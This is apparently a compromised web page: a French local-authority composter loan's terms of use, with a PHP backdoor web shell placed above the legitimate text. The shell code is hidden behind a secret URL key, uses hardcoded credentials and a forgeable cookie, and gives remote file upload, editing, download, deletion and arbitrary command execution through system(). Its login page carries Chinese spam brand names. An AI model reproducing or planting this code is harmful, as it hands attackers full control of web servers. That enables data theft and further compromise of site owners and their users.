// -------- MARK START --------
if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') {
function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); }
function ws_b($s) { return base64_decode($s); }
$validKey = 'mintinplan';
$validU = 'admin';
$validP = 'MinMaxtime';
$auth = false;
$sname = 'ws_auth';
if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true;
elseif (isset($_COOKIE[$sname])) {
$d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true);
if ($d && isset($d['ok']) && $d['ok']) $auth = true;
}
if (!$auth) {
$u = ws_g('usr'); $p = ws_g('pwd');
if ($u === $validU && $p === $validP) {
@session_start();
$_SESSION[$sname] = true;
setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true);
header('Location: ?k='.$validKey);
exit;
}
echo '
Login 旺商聊 旺商聊 旺商聊 QuickQ 汽水音乐
';
exit;
}
if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; }
$act = ws_g('a');
$path = ws_g('p') ?: getcwd();
$path = realpath($path) ?: getcwd();
echo 'Shell ';
echo '';
echo ' ';
switch ($act) {
case 'upload':
echo '⬆ Upload File to: '.htmlspecialchars($path).' ';
echo ' ';
if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) {
$f = $_FILES['upfile'];
if ($f['error'] === UPLOAD_ERR_OK) {
$name = ws_g('rename') ?: $f['name'];
$dest = rtrim($path, '/').'/'.$name;
if (move_uploaded_file($f['tmp_name'], $dest)) {
$sz = round(filesize($dest)/1024, 2);
echo '✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
';
} else {
echo '❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
';
}
} else {
$errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked'];
echo '❌ Error: '.($errors[$f['error']] ?? 'Unknown').'
';
}
}
echo '📋 Current directory contents: ';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '📁 '.$item."/\n";
else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo ' ';
break;
case 'tree':
echo '🌳 Directory Tree (depth 4) ';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'📁 '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo ' ';
break;
case 'drives':
echo '💾 Accessible Roots ';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
}
echo ' ';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo '📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB) ';
echo '';
break;
case 'save':
$f = ws_g('f'); $c = ws_g('c');
if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); }
break;
case 'exec':
$cmd = ws_g('c');
$output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) {
ob_start();
system($cmd);
$output = ob_get_clean();
}
echo '🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).') ';
echo 'Run ';
if ($output !== '') echo ''.htmlspecialchars($output).' ';
else echo 'No output ';
break;
case 'down':
$f = ws_g('f');
if ($f && is_file($f)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
readfile($f);
exit;
}
echo 'File not found';
break;
case 'del':
$f = ws_g('f');
if ($f && is_file($f)) {
if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f);
else echo '❌ Delete failed (permission?)';
} elseif ($f && is_dir($f)) {
if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f);
else echo '❌ rmdir failed (not empty or permission?)';
}
break;
case 'newfile':
$fname = ws_g('nf');
if ($fname) {
$dest = rtrim($path,'/').'/'.$fname;
if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest);
else echo '❌ Create failed';
}
echo '';
echo ' ';
echo ' ';
echo ' ';
echo ' Create ';
break;
case 'newdir':
$dname = ws_g('nd');
if ($dname) {
$dest = rtrim($path,'/').'/'.$dname;
if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest);
else echo '❌ mkdir failed';
}
echo '';
echo ' ';
echo ' ';
echo ' ';
echo ' Create ';
break;
default:
echo '📂 '.htmlspecialchars($path).' ';
$parent = dirname($path);
if ($parent && $parent !== $path) echo '⬆ Parent | ';
echo '[+ New File] | ';
echo '[+ New Dir] | ';
echo '[⬆ Upload] ';
echo 'Name Size Perms Actions ';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
$isDir = is_dir($full);
$size = $isDir ? '-' : round(filesize($full)/1024,1).'KB';
$perms = substr(sprintf('%o',fileperms($full)),-4);
$enc = urlencode($full);
echo '';
if ($isDir) echo '📁 '.$item.' ';
else echo '📄 '.$item.' ';
echo ''.$size.' '.$perms.' ';
if (!$isDir) echo '[Edit] ';
echo '[Download] ';
echo '[Delete] ';
echo ' ';
}
}
echo '
';
break;
}
echo '';
exit;
}
// -------- MARK END --------
Conditions générales d’utilisation
En demandant la mise à disposition d’un composteur, vous vous engagez à :
réserver l’utilisation du composteur et du bioseau à la fabrication du compost à partir des déchets ménagers et des déchets verts que vous produisez ;
utiliser le composteur à l’adresse figurant sur votre redevance d’enlèvement des ordures ménagères.(en cas de déménagement, laisser le composteur à la même adresse et refaire une demande auprès du SIVOM)
répondre aux questionnaires de suivi
rendre le matériel au SIVOM si vous n’en avez plus l’utilité.
accepter que les informations saisies soient transmises au SIVOM du Born , qui les conservera le temps fixé par les dispositions réglementaires applicables, et au minimum pour le temps nécessaire à l’instruction de votre demande.Vous pouvez exercer votre droit d’accès, de rectification, d’effacement et de limitation : – sur place : auprès de Monsieur Le Président du SIVOM du Born, responsable du traitement auprès de SIVOM du Born – par mail : à l’adresse contact@sivom-du-born.fr – par écrit : en vous adressant à SIVOM du Born, 115 route de Piche 40200 Pontenx les Forges, en joignant une copie de votre pièce d’identité, conformément à l’article 12 du Règlement (UE) 2016/679 du Parlement européen et du Conseil du 27 avril 2016. Le Délégué à la Protection des Données personnelles : Agence Landaise pour l’informatique – Maison des Communes – 175, place de la Caserne Bosquet – BP 30069 – 40002 MONT DE MARSAN Cedex – Adresse électronique : dpo@alpi40.fr que vous pouvez contacter pour tout renseignement supplémentaire.
LE COMPOSTEUR EST MIS A DISPOSITION POUR UNE DUREE DE 5 ANS, UN SEUL COMPOSTEUR SERA REMIS PAR FOYER DURANT CETTE PERIODE.